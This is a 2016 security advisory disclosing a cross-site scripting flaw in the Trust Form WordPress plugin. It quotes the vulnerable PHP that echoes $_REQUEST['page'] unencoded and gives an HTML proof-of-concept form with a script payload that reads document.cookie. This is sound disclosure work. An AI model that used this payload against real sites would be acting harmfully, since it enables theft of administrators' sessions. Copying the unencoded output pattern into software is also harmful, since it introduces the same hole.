------------------------------------------------------------------------
Cross-Site Scripting vulnerability in Trust Form WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Trust Form
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0018

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Trust Form [2] WordPress Plugin
version 2.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The Trust Form [2] WordPress Plugin is a contact form with confirmation
screen and mail and data base support. A Cross-Site Scripting
vulnerability was found in the Trust Form WordPress Plugin. This issue
allows an attacker to perform a wide variety of actions, such as
stealing Administrators' session tokens, or performing arbitrary actions
on their behalf. In order to exploit this issue, the attacker has to
lure/force a logged on WordPress Administrator into opening a malicious
website.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
The issue exists in several PHP files and is caused by the lack of
output encoding on the page request parameter. The vulnerable code is
listed below.

edit-list.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page'];
?>" />

entries-list.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page']
?>"; />

trust-form.php:

$trash_url  = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
	
[...]
	
        $read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
	
[...]
	
                'view'     => sprintf( '<a
href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View',
TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id,
$item['ID'] ),
	
[...]
	
        $new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
	
[...]
	
                'view'     => sprintf( '<a
href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View',
TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id,
$item['ID'] ),
	
[...]
	
$trash_url  = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
	
[...]
	
$read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
	
[...]
	
        'view'     => sprintf( '<a
href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View',
TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id,
$item['ID'] ),
	
[...]
	
$trash_url  = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
	
[...]
	
$new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
	
[...]
	
        'view'     => sprintf( '<a
href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View',
TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id,
$item['ID'] ),
	
[...]
	
$delete_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'delete', $this->id, $item['ID'] );
	
[...]
	
$restore_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s'
,$_REQUEST['page'], 'untrash',$this->id, $item['ID'] );
	
[...]
	
$trash_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'],
'trash', $item['ID'] );
	
[...]
	
$duplicate_url = sprintf( '?page=%s&action=%s&form=%s',
$_REQUEST['page'], 'duplicate', $item['ID'] );
	
[...]
	
        'edit'      => sprintf( '<a href="?page=%s&action=%s&form=%s">'
.__( 'Edit', TRUST_FORM_DOMAIN ). '</a>', $_REQUEST['page'], 'edit',
$item['ID'] ),
	
[...]
	
$delete_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'],
'delete', $item['ID'] );
	
[...]
	
$restore_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'],
'untrash', $item['ID'] );

Normally, the page URL parameter is validated by WordPress, which
prevents Cross-Site Scripting. However in this case the value of page is
obtained from $_REQUEST, not from $_GET. This allows for parameter
pollution where the attacker puts a benign page value in the URL and
simultaneously submits a malicious page value as POST parameter. 

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
<html>
	<body>
		<form
action="http://192.168.146.137/wp-admin/admin.php?page=trust-form-edit"
method="POST">
			<input type="hidden" name="page"
value="&quot;<script>alert(document.cookie);</script>" />
			<input type="submit" value="Submit request" />
		</form>
	</body>
</html>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_trust_form_wordpress_plugin.html
[2] https://wordpress.org/plugins/trust-form/